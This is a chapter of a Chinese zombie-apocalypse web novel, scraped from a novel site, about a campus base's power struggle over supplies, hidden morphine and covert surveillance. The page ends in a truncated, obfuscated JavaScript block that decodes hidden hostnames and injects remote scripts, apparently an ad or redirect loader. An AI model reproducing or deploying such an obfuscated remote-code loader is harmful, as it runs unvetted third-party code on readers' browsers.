首页
第二十六章:校园内部
返回

第二十六章:校园内部

章节报错(免登陆)

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第二十六章:校园内部(第1/2页)
    物资监督小组成立一周后,第一份正式报告摆上了管委会的桌面。报告是孙宇用三个晚上写出来的,字迹不算好看,但足够清晰。每一笔物资的去向都标注了日期、数量、签单人、领取人。前半部分没有什么问题,方晴、唐婉晴和大刘的三联签制度运行正常,出库流程比以前规范得多。
    问题出在报告的附页上。
    附页只有短短三行字,是孙宇在盘点食品区时发现的:“午餐肉罐头,账面库存十七罐,实存十一罐,短少六罐。何成局称:尸潮损耗。经查,尸潮当晚防御组领取的作战补给清单中,无午餐肉罐头记录。医疗队同期消耗记录中,亦无午餐肉罐头记录。六罐午餐肉罐头,去向不明。”
    方晴把报告拍在桌上,看向坐在对面的唐婉晴。“六罐午餐肉。他说是尸潮损耗,但两边都没有记录。你的医疗队确定没收到过?”
    唐婉晴摇头。“尸潮那晚我收到的所有物资都有登记。绷带、消毒水、止血带,没有罐头。防御组那边我也问过大刘,他说当晚的作战补给只有压缩饼干和水,罐头一罐都没见着。”
    “六罐罐头,够一个人吃一个月。”方晴靠在椅背上,手指在桌面轻轻敲击,“他不会承认私吞。没有当场抓住,他可以一口咬定是损耗、是被污染了、是被老鼠叼走了。光凭账面差数,动不了他。”
    “动不了他本人,但可以动他的规矩。”唐婉晴说,“既然账面有差数,说明三联签制度没有完全堵住漏洞。我们可以要求他每次出库必须有监督小组的人在场,实时记录。他不让进仓库,就逼他同意进。”
    “逼?怎么逼?”
    “你忘了,明天就是尸潮后第十天。按照惯例,要开全体大会,重新分配工作编组。大会上,我们可以把这份报告公开。不用点名说他私吞,就说物资管理仍有漏洞,需要在仓库内部设置监督岗位。让幸存者们自己讨论。他要是不同意,就是跟所有人过不去。”
    方晴沉默了几秒,然后点了点头。
    第二天的全体大会比上一次更加拥挤,因为基地又接收了七名幸存者。新来的人是尸潮那晚从机械厂方向逃出来的,方晴带人救回来三个之后,剩下的四个在尸潮退去后沿着救援路线找到了基地。食堂里挤满了人,空气闷得人透不过气。
    方晴站在最前面,把物资监督小组的报告内容做了简要通报。她没有提何成局的名字,只说“在物资盘点中发现部分物资去向不明,现有制度仍有漏洞”。然后她抛出了提议:在仓库内部设立常驻监督岗位,由物资监督小组派人,对所有出库物资进行实时记录。
    话音刚落,食堂里立刻炸开了锅。
    “早就该这么干了!”说话的是孙宇,声音很大,带着明显的情绪,“我在仓库门口站了一个星期,连门都进不去。说是监督,其实就是在外头吹风。仓库里面的情况,我一份报告都写不出来。”
    “同意。”周济举手,那个医学院学生自从跟方晴出了一次任务之后,胆子大了不少,“物资是大家的,凭什么一个人说了算?”
    “就是!每次去领东西都看人脸色。何成局高兴就多给点,不高兴就卡着不给。物资又不是他家的!”
    群情激愤。何成局坐在角落里,面无表情,手里那个打火机的砂轮被他拨得咔咔响。他身边坐着刘惠珍和赵雯。刘惠珍低着头,不敢看任何人。赵雯攥着衣角,脸色发白。
    等议论声稍微平息,何成局慢慢站起来。“各位,说完了吗?说完我来说两句。仓库内部是物资重地,不是菜市场。谁都能进去,丢了东西谁负责?坏了东西谁赔?你们说物资是大家的,这话没错,但物资保管是需要专业能力的。我不是不配合监督,我是要求监督的人有基本的仓库管理常识。孙宇,我问你,午餐肉罐头在常温下保质期几年?压缩饼干开封后多久会受潮?药品需要什么储存条件?”
    孙宇张了张嘴,没答上来。
    “你不懂。”何成局说,语气平静,“你不懂没关系,可以学。但你不能一边不懂,一边要求我开门让你随便翻。我在仓库里堆放的物资,每一件都有固定位置。你进去翻乱了,回头我找不到东西,耽误的是谁的事?是大家的事。所以我提议——监督小组可以进仓库,但必须是固定人员,经过基本培训,知道什么东西能碰什么东西不能碰。具体人选,我建议由医疗队的林晓晓来担任。她本来就是后勤和医疗的联络员,对物资种类熟悉,做事也细心。大家觉得怎么样?”
    这一招出乎所有人的意料。
    方晴微微眯起眼睛。何成局没有硬顶,而是主动提出了一个方案。这个方案表面上配合了监督要求,实际上把监督员的人选框定在林晓晓身上——林晓晓是医疗队的人,但也是整个基地里最低调、最不惹事的人。她做事确实细心,但性格温和,几乎从不和人起冲突。何成局选她,显然是因为她好控制。
    “林晓晓可以。”唐婉晴开口了,“但监督员不能只有一个人。一个人总有休息的时候。我的建议是,林晓晓作为主要监督员,孙宇继续负责外部巡查和物资去向核查。两人互相配合,互相制约。”
    何成局看了唐婉晴一眼。唐婉晴面色平静,像是在陈述一个再正常不过的工作安排。但在座的明眼人都看得出来,她是在何成局的方案上加了一道锁。你选一个温和的人当监督员,可以。但孙宇这颗钉子不会拔掉。
    “同意。”方晴举手。
    “同意。”大刘举手。
    “同意。”唐婉晴举手。
    何成局沉默了一秒。“同意。”
    大会结束后,何成局走出食堂,沿着走廊往仓库方向走去。苏小曼跟在他身后,两人谁都没说话。走到仓库门口,何成局掏出钥匙开门,手很稳,脸上的表情和平时没有任何区别。但他推开铁门之后,站在门口没有进去。
    “林晓晓。”他说,像是在自言自语,“方晴想在我身边插钉子,我给她换了一根软钉子。软的比硬的好,软的有弹性,不容易断。”
    “软的也有另一面。”苏小曼的声音从他身后传来,“软的不会跟你硬碰,但也不会被你掌控。林晓晓是唐婉晴的人,她听的是医疗队的话。”
    何成局转过身,看着她。“我知道。所以需要你。你现在的工作是什么?”
    “日用物资区整理。你安排的。”
    “从明天开始,日用物资区交给赵雯。你专门负责和林晓晓对接。她是监督员,你是仓库的接待员。所有她需要看的东西,由你经手给她看。所有她问的问题,由你来回答。她要查什么,你都配合,但配合完之后,原原本本地告诉我她查了什么、问了什么。”
    苏小曼看着他,心里像是有一块冰在慢慢融化。何成局在用她,不是用她的体力,是用她的脑子。他需要一个聪明人去应付一个温和但细心的监督员。这个角色要求足够敏锐,能察觉林晓晓每一个问题的真正意图。足够冷静,能在不动声色中完成信息过滤。他选对了人。但他忘了一件事——聪明人不会永远当棋子。
    第二天一早,林晓晓来仓库报到。
    她背着一个旧帆布包,里面装着物资监督小组发的记录册、两支圆珠笔,还有一个保温杯。保温杯是唐婉晴送她的,说仓库里冷,喝点热水能暖暖身子。她的气质和医疗队的其他人一脉相承:安静、细致、带着一种被灾难磨出来的韧劲。
    苏小曼在仓库门口迎接她。“林姐,何学长安排我负责跟你对接。你想看什么、查什么,跟我说就行。能看的我一定配合。不能看的,我跟你说清楚原因。”
    林晓晓点点头,没有多说什么。她拿出现场记录册,翻开第一页,开始核对当天的出库清单。她的动作很慢,每一笔都要对照实物确认,确认完之后在登记册上签自己的名字,字迹工整得像是印刷体。
    整个上午,林晓晓检查了三个批次的出库物资:医疗队的绷带补给、防御组的压缩饼干、后勤组的洗涤用品。每一批都和清单完全吻合。何成局显然提前做了准备,仓库里的东西摆放得整整齐齐,标签清晰,账实相符。
    但林晓晓没有就此罢休。她合上今天的出库清单,抬头看着苏小曼。“我想看一下药品区的库存。”
    苏小曼带她去了药品区。林晓晓蹲下身,从最底层的纸箱开始,一个品种一个品种地核对。阿莫西林、头孢、碘伏、酒精、止血带。每核对一项,她就在本子上打一个勾。核对了二十分钟,她站起来,合上本子。
    “药品区没问题。但我有个问题,不知道你能不能回答。”
    “你说。”
    “赵雯被调到仓库之前,是医疗队的护理员。当时调她过来,理由是盘点药品。现在药品盘点完了,她的编制还在仓库。管委会的规定是,人员调动需要三方签字——调出方、调入方、本人。唐医生没有签过长期调动的同意书。所以赵雯现在到底是什么身份?”
    苏小曼没有立刻回答。这个问题看起来是在问编制,实际上是在问何成局私调人员的事。何成局把赵雯留在仓库,走的是“借调”名义,一直没有正式手续。这件事如果被林晓晓捅到管委会,何成局就得放人。
    “这个问题你应该问何学长。”苏小曼说,“我不负责人事。”
    “我会问他的。”林晓晓说完,合上记录册,走出了仓库。
    当天下午,林晓晓把同样的问题当面问了何成局。何成局的回答很干脆:“赵雯的工作表现很好,仓库需要人手。正式调动的手续我明天就补,三方签字,没问题。”
    林晓晓点点头,在记录册上写了一行字,然后转身走了。
    何成局看着她的背影,眼神冷了下来。林晓晓看起来温和,但她的每一条记录、每一个问题,都是在给方晴递弹药。赵雯的事,明天就得把手续补了。但这不是重点。重点是林晓晓的效率比他预想的高得多。他本以为她需要几天时间才能摸清仓库的基本情况,结果她第一天就抓出了两个问题:物资损耗的可追溯性、人员调动的合规性。这个人不能长期留在仓库。但她刚刚被管委会正式任命,短期内动不了。
    这天晚上,孙宇在自己的宿舍里写完了当天的巡查报告。他把报告交到管委会办公室,然后沿着走廊往宿舍走。走到二楼拐角,听见两个女生在小声说话。
    “苏小曼今天跟我说,医疗队的药品库存可能有问题。她问我在医疗队的时候有没有见过何成局私下给别人拿药。我说我没注意过。”
    说话的是赵雯。另一个女生的声音他听不出来。“苏小曼?她不是何成局的人吗?怎么打听这个?”
    “我也不知道。她让我别跟何学长说。你也别说出去。”
    孙宇靠在墙上,心跳猛地加速。苏小曼在查何成局的私拿药品?这个信息让他脑子里瞬间冒出无数个念头。苏小曼是何成局的人——全基地都知道。她在仓库工作,每天和何成局在一起。她为什么要私下查何成局?
    他想了一整夜。第二天一早,他找到了方晴,把昨晚听到的对话原原本本地说了。方晴听完,没有立刻表态。她站在瞭望台上,看着操场上正在排队打早饭的人群,沉默了很久。
    “苏小曼。”她最终说,“那个英语老师。尸潮那晚她也在仓库里。小武和杨杰死的时候,她在门后面。你确定是她?”
    “赵雯亲口说的,不会错。方队长,要不要把她叫来问问?”
    “不用。”方晴摇头,声音压得很低,“如果她是在查何成局,我们去问她等于暴露了她。如果她不是——如果她是在替何成局试探赵雯——我们去找她,就等于告诉她赵雯不可靠。两种情况,都不能动。暗中观察,看她下一步做什么。”
    孙宇点头,转身要走。方晴叫住了他。“还有一件事。陈雨桐最近怎么样?”
    听到这个名字,孙宇的表情瞬间绷紧了。“还那样。在医疗队帮忙。我每天巡逻经过医疗队的时候会看一眼,她挺好的。”
    “何成局有没有再找过她?”
    (本章未完,请点击下一页继续阅读)第二十六章:校园内部(第2/2页)
    “没有。至少我不知道。布告栏上那条建议,是你贴的?”
    方晴没有否认。几天前,基地布告栏上出现了一条匿名的“建议”,用词非常隐晦,大意是:在末日里,每个人都应该保持基本的人性。胁迫他人用身体交换物资的行为,是文明的倒退。基地不承认任何形式的性剥削。任何人如果遭遇此类情况,可以向管委会匿名举报,管委会将严格保护举报人的隐私和安全。这条“建议”没有点名,但所有人都知道它在说谁。
    “匿名举报箱昨天收到了三封信。”方晴说,“其中一封举报何成局,说他在尸潮期间以提供保护为由,胁迫多名女生留在他的寝室。没有署名。笔迹我不认识。”
    孙宇攥紧了拳头。“有用吗?举报了你能怎么办?”
    方晴没有回答。她确实还没有找到答案。何成局的异能是他的护身符——储物空间里的核心物资,只有他自己能取出来。只要这个前提不变,任何对他的实质性惩罚都可能导致物资的永久损失。但这条布告的目的本来就不是立刻扳倒他,是敲山震虎。让他知道有人在盯着他,让他收敛。同时也让那些被他胁迫的女生知道,基地不是他一个人的天下。
    同一时间,仓库里正酝酿着另一场风暴。
    苏小曼按照何成局的安排,每天负责接待林晓晓,把监督工作配合得天衣无缝。但她同时在做另一件事——在整理日用物资区的时候,她发现了一些东西。
    仓库最深处有一面墙,原本是冷藏库的保温隔层,外面堆着几箱过期的教材和试卷。苏小曼在整理这些废纸箱的时候,无意中发现隔层和墙壁之间有一道缝。缝很窄,刚好够一只手伸进去。她把手伸进去,摸到了塑料袋的触感。她慢慢把塑料袋拽出来,打开一看——药品。不是普通的感冒药或绷带,是处方级别的止痛药、镇静剂,还有两盒她没有见过名字的注射类药物。标签是英文的,她认不全,但其中一盒上面写着“MorphineSulfate”。
    吗啡。末日里最珍贵的止痛药。这些药品没有出现在任何库存清单上。她蹲在那面墙前面,塑料袋摊在膝盖上,脑子里飞速运转。
    何成局私藏了这些药品。他没有把它们存放在储物空间里,而是藏在仓库的物理夹层中。这意味着他知道私藏物资是违规的,但他依然做了。这些药品的价值,在末日里不可估量。一剂吗啡可以换一个人卖命,可以换一个女人屈服,可以让一个濒死的伤员在截肢手术中不发出任何声音。何成局握着这些药品,却从未向医疗队提供过——唐婉晴给王浩宇截肢的时候,用的仅仅是一瓶消毒酒精。
    她小心地把塑料袋重新封好,塞回夹层里。不能拿走,拿走等于打草惊蛇。不能告诉方晴,一旦事情暴露,林晓晓和孙宇会对仓库进行彻底的搜查,这些药品会成为扳倒何成局的铁证,但也会让何成局知道消息是从仓库内部泄露出去的——她和赵雯是最大的嫌疑人。她需要等。等到一个合适的时机,等到有人可以替她承担风险。
    她把废纸箱重新堆好,拍了拍手上的灰,转身走出储物室。
    走廊里,赵雯正蹲在地上整理纸箱。看到苏小曼出来,她抬起头。“苏老师,你脸色不太好。怎么了?”
    “没什么。纸箱里灰太大,呛的。”
    赵雯点点头,没有多想。苏小曼看着她——婴儿肥的脸颊,干净的眼神。何成局当初用“盘点药品”的借口把她从医疗队骗过来,用饱饭和安全感一点点把她圈养在仓库里。现在药品早就盘点完了,但她已经回不去了。不是因为何成局不让她走,而是她开始觉得留在仓库是“何学长的恩情”。
    苏小曼回到日用物资区,坐下来,拿起林晓晓下午要核查的清单。她一笔一笔地核对,脑子里却一直在想那袋药品。她忽然意识到一个更可怕的事实:何成局把所有最重要的物资都放在了他的储物空间里。药品、军粮、武器。这些东西,除了他自己,没有任何人能接触到。如果他死了,或者昏迷了,那些物资就永远消失了。所以他敢这么肆无忌惮。所以方晴拿他没办法。
    但物极必反。当他越来越肆无忌惮的时候,他犯了一个错误:他让苏小曼进入了仓库的核心区域。他以为她是自己人。
    何成局此刻正在基地另一头,和赵默私下会面。地点是通讯室后面的一间小仓库,原本用来存放坏掉的电子设备,现在堆满了废弃的收音机零件和断裂的天线。赵默是通讯与技术支援组的负责人,电子工程背景,末日前是学校电子协会的副会长,戴一副高度近视眼镜,镜片厚得像啤酒瓶底。他是整个基地里唯一一个能摆弄电子设备的人,修好了那台破收音机,修好了发电机,修好了大喇叭的功放电路。他的手很巧,但胆子很小。
    何成局把一包烟放在桌上,推到赵默面前。“赵默,帮我个忙。不是什么大事。”
    赵默看着那包烟,喉结上下滚动。他在末日前就不抽烟,但在末日后,烟是硬通货,比罐头还值钱。他可以用这包烟换到额外的食物、电池,甚至一双没有破洞的袜子。
    “何学长,你说。”
    “通讯室的设备,你能不能做一套内部监听系统?不需要很复杂,能覆盖三楼走廊和仓库门口就行。我想知道有没有人在我门口听墙根。最近总觉得不太对劲。”
    赵默犹豫了一下。监听——这个词让他本能地感到不安。方晴和管委会都没有让他做过这种事。但何成局手里的烟就在桌上,近在咫尺。在末日里,一包烟意味着十天的额外口粮,或者一瓶宝贵的酒精。
    “这个……技术上不难。旧对讲机的接收模块可以改装,用两个拾音头就能覆盖你说的区域。但是——何学长,这个是不是不太合适?”
    “有什么不合适的?仓库重地,安全监控是必要的。我又不是窃听谁的隐私,就是想知道有没有人在仓库附近鬼鬼祟祟。你做不做?”
    赵默低头看着那包烟,沉默了几秒钟,然后伸手把烟拿过来,塞进口袋。“给我三天时间。电池要省着用,接收范围不会太大,只能覆盖你说的两个点。”
    “够了。”
    何成局站起身,拍了拍赵默的肩膀,走出小仓库。赵默独自留在房间里,摸着口袋里的烟,手指微微发抖。他知道自己在做一件不该做的事。但末日的饥饿教会了他一件事:在是非和生存之间,后者总是赢。他拆开一包烟,叼在嘴里,没有点。他不抽烟,但他喜欢闻烟草的气味。那股味道让他想起末日前的夜晚,他和电子协会的同学们在实验室里通宵做项目,窗外飘来隔壁烧烤摊的烟火味。那个世界已经没了,但烟草的味道还是一样的。
    赵默在通讯室里埋头干了三天,把监听系统装好了。两个拾音头,一个藏在三楼走廊的天花板检修口里,另一个藏在仓库门口的岗亭屋檐下。接收端连着一个老式录音机,磁带是赵默从一堆报废教材里翻出来的,英语听力磁带,原本印着《大学英语四级听力真题》。他把原来的录音消掉,用铅笔在标签上写了“设备测试”四个字。何成局试听了一次,效果比他预想的还好。走廊里的脚步声、低语声、敲门声,全都清清楚楚地录在磁带上。
    从那天起,他每天早晚各听一次磁带。前几天没什么特别的——刘惠珍晚上来、早上走,苏小曼汇报工作,赵雯说“谢谢何学长”,林晓晓每天核查出库清单。然后,第五天晚上,他听到了孙宇和陈雨桐的对话。
    孙宇和陈雨桐在三楼走廊拐角处说话,离拾音头的检修口不到三米。声音录得很清楚。
    “雨桐,你最近不要单独去仓库那边。不管谁叫你,都不要去。”
    “为什么?何学长找过我,说仓库需要人整理档案,让我过去帮忙。林姐那边也说要借调我去仓库。”
    孙宇的声音骤然变紧:“什么时候?”
    “昨天下午。他说档案室太乱了,需要一个细心的人整理。我还没答应。怎么了?”
    孙宇沉默了几秒。“不要答应。不管他用什么理由,都不要去。档案有什么好整理的?他就是找借口让你进仓库。你进去了,能不能出来就由不得你了。”
    “孙宇……你是不是想太多了?何学长他……虽然传言很多,但我没有亲眼见过……”
    “等你亲眼见到就晚了。苏小曼、刘惠珍、赵雯,你看看她们三个现在什么状态?哪个不是进了仓库就出不来了?”
    何成局把磁带倒回去,又听了一遍。孙宇在私下劝阻陈雨桐,拒绝接受仓库的调派。何成局这几天确实在安排“档案整理”的岗位,打算把陈雨桐调过来。他对陈雨桐兴趣不大,但她是孙宇的软肋。控制了她,就等于控制了那个天天蹲在他门口写报告的安全监督员。
    但现在孙宇在坏他的事。
    他把磁带取出来,放进抽屉里锁好。这段录音本身没什么用,但它是孙宇私下谈话的内容。知道了孙宇的立场,就知道了下一步该怎么走。
    第二天一早,方晴在物资监督小组的周例会上提出了一项新动议。“我提议,要求何成局在监督小组的见证下,对储物空间内的物资进行一次全面清单公示。不需要他把东西取出来,只需要列一份清单,写清楚空间里存放了哪些物资、各多少数量。这是为了确保基地的整体物资情况透明,方便管委会做长期规划。”
    大刘沉默了几秒。“他会同意吗?”
    “不同意,就说明他心里有鬼。同意,我们就能知道他到底藏了多少东西。”
    消息很快传到了何成局耳朵里。当天中午,他在仓库最里面的储物室里,把苏小曼叫了过来。
    “方晴要我公示储物空间的物资清单。”他说,语气很平静,“你知道这意味着什么吗?”
    “她知道你在里面存了东西。数量、种类,她都想知道。一旦清单公开,你的底牌就没了。”
    “对。所以她不会拿到那份清单。”何成局靠在铁皮柜上,双手抱胸,“但我不能直接拒绝。直接拒绝等于承认有问题。我需要一个说得过去的理由,一个能拖时间的理由。”
    他顿了顿,看着苏小曼。“这件事交给你。明天林晓晓来核查的时候,你帮我传一个态度出去。不是强硬拒绝,是‘配合但有顾虑’。你可以说,储物空间里的物资属于极端紧急情况下的战略储备,清单可以列,但只能给管委会核心成员看,不能公开。公开会引起恐慌,或者让某些人产生不切实际的期待。你帮我把这套说辞圆好。”
    “可以。”苏小曼的声音依旧没有任何波动。
    当天晚上,苏小曼回到四楼宿舍,躺在床上望着天花板,把今天何成局跟她说的话在脑子里反复咀嚼。他在害怕。方晴步步紧逼,从三联签到监督小组,从林晓晓到现在的清单公示。每一刀都切在他的痛处。他开始应付不过来了。
    明天她要替何成局传话给林晓晓。传完话之后,方晴会怎么接招?她不知道。但她知道一件事:何成局让她传的话,在某种意义上,是他在管委会面前最后的防线。如果他连这条防线都守不住,他就会开始犯错。而犯错,意味着机会。
    她翻了个身,从枕头下面摸出半根蜡烛头。这是她从日用物资区捡来的,断裂的蜡烛被报废处理,她偷偷留了下来。她把蜡烛放在鼻尖闻了闻,没有点燃。蜡烛燃烧会有光,有光就会被人看见。她只是需要握着一点什么。末日前她握粉笔,末日后她握蜡烛。都是白色的小棍,捏在指尖,有一种熟悉的触感。
    窗户外面,月色很淡。操场上,防御组的人正在换岗。方晴站在瞭望台上,手里的望远镜扫过围墙外的废墟,然后停在仓库的方向。仓库的铁门紧闭,门口的岗亭里亮着灯。孙宇正在灯下写今天的巡查日志。
    基地又度过了一个夜晚。有些人活着,有些人在暗处挣扎,有些人在等待。等一个裂缝,等一场风暴,等一个可以把铁门从外面砸开的时机。
    苏小曼把蜡烛塞回枕头下面,闭上眼睛。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 